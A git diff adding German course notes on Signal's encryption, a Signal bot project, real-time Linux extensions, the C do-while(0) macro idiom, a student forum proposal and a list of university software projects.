+Auch die Meta-Daten werden verschlüsselt.
+Der Empfänger einer Nachricht ist dem Server bekannt,
+aber der Absender nur dem Empfänger.
+
+Die Server werden in Clouds betrieben bei Amazon, Microsoft usw.
+
+Es gibt Vertraulichkeit, Integrität und plausible deniability
+
+Man kann über Signal auch "telefonieren".
+
+Wer teilnimmt, hat einen privaten Schlüssel.
+Um eine Nachricht zu versenden, benötigt man
+eine ID des Empfängers (Telefonnummer).
+Darüber holt man sich den Public Key.
+Schlüsselabgleich erfolgt über den Abgleich einer Sicherheitsnummer,
+die aus beiden Public Keys gemeinsam gebildet wird.
+
+Zur Registrierung benötigt man eine Telefonnummer,
+über die man SMS oder Sprachanrufe empfangen kann.
+Darüber erfährt man einen Verifizierungs-Code, den man
+währnd der Installation der Client-Software eingeben muß.
+Man kann seinen Signal-Account zusätzlich durch eine PIN schützen.
+
+Versenden einer verschlüsselten Nachricht:
+ - Austausch eines Sitzungsschlüssels per Diffie-Hellman
+ - Vermutung: Die asymmetrischen Schlüssel dienen dazu,
+   Man-in-the-Middle-Angriffe zu verhindern.
+
+Projekt: Signal-Bot
+Raspberry Pi mit Signal-CLI
+Dieser soll Nachrichten versenden, die von anderen Programmen stammen
+und empfangene Nachrichten an Programme weiterleiten.
+Wichtig: dedizierte Telefonnummer
+
+
+Verbesserungsmöglichkeiten für BBB, 02.07.2021, 14:07:31
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+In Kombination mit Mumble: anzeigen, wer gerade spricht
diff --git a/20210709/bs-20210709.txt b/20210709/bs-20210709.txt
new file mode 100644
index 0000000000000000000000000000000000000000..85a6382c0df759984d80f337a82aae9c94728275
--- /dev/null
+++ b/20210709/bs-20210709.txt
@@ -0,0 +1,173 @@
+Echtzeit-Erweiterungen für Linux, 09.07.2021, 11:42:17
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ - früher: RTAI (Real Time Application Interface)
+
+   Der RTAI-Kernel läuft als "Sub-Kernel" direkt auf der Hardware.
+   Der Linux-Kernel läuft als "Applikation" im RTAI-Kernel.
+   Kommunikation zwischen Echtzeit-Tasks und Linux-Prozessen
+   erfolgt mittels Semaphoeren.
+
+ - früher: RT-Linux
+
+ - aktuell: Xenomai
+
+do-while(0)-Schleife, 09.07.2021, 12:05:38
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Definition:
+
+  #define spin_lock_mutex(lock, flags) \
+    do \
+      { \
+        spin_lock (lock); \
+        (void) (flags); \
+      } \
+    while (0)
+
+Benutzung:
+
+  if (whatever)
+    spin_lock_mutex (lock, flags);    // Semikolon!
+  else
+    whatever ();
+
+Wird zu:
+
+  if (whatever)
+    do
+      {
+        spin_lock (lock);
+        (void) (flags);
+      }
+    while (0);    // Semikolon!
+  else
+    whatever ();
+
+Definition:
+
+  #define spin_lock_mutex(lock, flags) \
+    { \
+      spin_lock (lock); \
+      (void) (flags); \
+    }
+
+Benutzung:
+
+  if (whatever)
+    spin_lock_mutex (lock, flags);    // Semikolon!
+  else
+    whatever ();
+
+Wird zu:
+
+  if (whatever)
+    {
+      spin_lock (lock);
+      (void) (flags);
+    };    // Semikolon! --> Fehler
+  else
+    whatever ();
+
+Definition:
+
+  #define spin_lock_mutex(lock, flags) \
+    spin_lock (lock); \
+    (void) (flags)
+
+Benutzung:
+
+  if (whatever)
+    spin_lock_mutex (lock, flags);    // Semikolon!
+  else
+    whatever ();
+
+Wird zu:
+
+  if (whatever)
+    spin_lock (lock);
+    (void) (flags);    // Semikolon! --> Fehler
+  else
+    whatever ();
+
+Fazit: do ... while(0) ist ein Trick, um ein Präprozessor-Macro
+so definieren zu können, daß es in allen Situationen wie eine
+Funktion verwendet werden kann.
+
+F. Aust, P. Maas: Signal-Bot, 09.07.2021, 13:35:29
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+https://gitlab.cvh-server.de/faust/signalbot
+
+Der Bot protokolliert und interpretiert alle Nachrichten, die er bekommt.
+Nachrichten, die mit einem Punkt beginnen, sind Befehle.
+
+Beipiel:
+  .help
+  .foo --> bar
+  .ping --> pong
+
+Herausforderung: über die Kommandozeile laufen lassen
+python-Skript benutzt signal-CLI. Die benutzt Java. Langsam: 90s
+Jetzt: läuft per systemd im Hintergrund --> Java läuft durch. --> schnell
+
+Funktionen:
+
+ - .yn --> zufällige GIF-Datei von yes-no-wtf
+
+ - Zitate in Datenbank speichern
+
+ - Der Bot informiert den Kanal automatisch aktuell kostenlose Computerspiele.
+
+ - Projekt: .gn: Der Bot prüft den Chat auf Gender-Neutralität, weist auf
+   nicht-neutrale Wörter hin und schlägt gener-neutrale Synoyme vor - unter
+   Verwendung von geschicktgendern.de.
+
+ - Projekt: Signal selbst unterstürzt bereits Polls, sog. Reactions.
+   zusätzlich: cvhbot-Polls durch den Bot
+
+ - Projekt: MQTT-To-Signal-Adapter (separates Programm, sagt dem Bot bescheid)
+
+Es ist möglich, mehrere Bots auf demselben Server laufen zu lassen,
+sofern jeder Bot eine eigene Telefonnummer hat.
+Alternative: Die Reaktion des Bots hängt vom Ursprung
+des Befehls ab (Benutzer, Gruppe).
+
+Der Bot kommt bei den Benutzern gut an.
+
+Nachteile von Signal:
+ - zentraler Server
+ - App im Ruhemodus erfährt nicht von neuen Nachrichten
+   (Konfiguration der Stromsparmaßnahmen unter Android hilft nicht.)
+
+Projektideen:
+ - Signal beibringen, auch im Hintergrund Nachrichten zu empfangen
+ - Signal mit Mumble-Chat koppeln
+ - Signal mit BBB-Chat koppeln
+ - Matrix als "Sammelstelle"
+
+S. Simanek: Forums-Projekt, 09.07.2021, 14:25:09
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Forum für Studierende, aber auch Lehrende, für den Austausch über
+Studieninhalte, für Austausch mit der Fachschaftsvertretung, aber
+auch für Off-Topic-Gespräche (als Alternative to Discord usw.)
+
+Situation: Auf dem CVH-Server gibt es bereits eine
+Discourse-Installation. Die müßte man wieder in Betrieb nehmen.
+
+Abgrenzung zu Signal:
+ - Signal ist ein Messenger-Dienst - Echtzeit-Kommunikation -
+   wie SMS mit Gruppen - nach Personen(gruppen) sortiert.
+   Signal ist nicht anonym.
+ - Forum: offline-Kommunikation
+   Ein Forum ist nach Themen sortiert.
+   Ein Forum kann pseudonym sein.
+
+Vorschläge für die Struktur des Forums:
+ - Start-Subforum mit FAQs und Übersicht
+ - fachspezifische Subforen
+ - organisatorische Subforen: Ankündigungen der Fachschaftsvertretung usw.
+ - Off-Topic-Subforen
+ 
+Sonstiges:
+ - Fachschaftsvertretung mit einbinden!
+ - Maßnahmen gegen Trolle und Spammer! --> Moderation erforderlich
+ - Gelder für Moderatoren beantragen: diversitätssensible Studieneigangsphase
+ - Wichtig für nachhatltige IT: Lizenzen, Datenschutz
diff --git a/projekte.txt b/projekte.txt
new file mode 100644
index 0000000000000000000000000000000000000000..bc8aeccc7f90e84f4184103024654373fede944b
--- /dev/null
+++ b/projekte.txt
@@ -0,0 +1,40 @@
+;) GitLab: Datum und Uhrzeit anzeigen
+:) cvh-bot
+:) Docker für VNC
+:) CVH-Camera
+:o dynamische Kamera-Positionierung für PULT
+ o Mumsi die Anzeige der Telefonnummer abgewöhnen
+ o Telefon-Wahl aus Mumble heraus
+ - Mumble-Chat mit BBB-Chat verbinden
+ - cvh-bot mit BBB-Umfragen verbinden
+ * noVNC in BBB einbauen
+ * yesVNC in BBB einbauen
+ - Listening VNC Viewer in BBB einbauen
+ * CVH-Camera in BBB einbauen
+ - Repeater für Mumble
+ - Repeater für CVH-Camera (Janus, PULT)
+ * yesVNC nach WebAssembly übersetzen
+ - yesVNC auch im Hintergrund laufen lassen
+ - Scroll-Algorithmus für x11vnc oder TightVNC
+ - Kombinierter Desktop-Client für VNC und Mumble
+ * Mumble-Desktop-Client: Konfiguration vereinfachen
+:o Mumble/VNC/CVH-Camera für weitere Plattformen nutzbar machen, z.B. iOS, MacOS X
+ - Mumble-Client: Forward-Error-Correction aktivierbar machen
+ - PULT auf übersichtlichere und effizientere Weise neu programmieren
+ * Docker für PULT
+ * Komfortable Fernsteuerung von Rechnern von Teilnehmenden über VNC in PULT
+   Server: z.B. TightVNC; Client: z.B. noVNC
+ - Komfortable Fernsteuerung von Rechnern von Teilnehmenden über VNC in BBB
+ - Work Advanture für die Hochschule installieren
+   Bsp-Instanz aus Bochum (von dem dortigen Hackspace): https://virtuallab.das-labor.org/
+   Doku dazu: https://howto.rc3.world/workadventure.en.html
+ * 3d-Scan aus einem Film heraus
+ - BBB: Standard-Umfrage: Ja/Nein/Enthaltung
+ - Mobil mit 10 Fingern bedienbare Tastatur
+ - Sinnvolle Anwendung für PineWatch
+ - Automatische Transkription in BBB und/oder PULT
+   (zum Vergleich https://github.com/jitsi/jigasi/pull/294)
+ - Treiber für freies Smartphone
+ - Echtzeit-Kommunikation mit freiem Smartphone
+ - adele
+ - GNU Pascal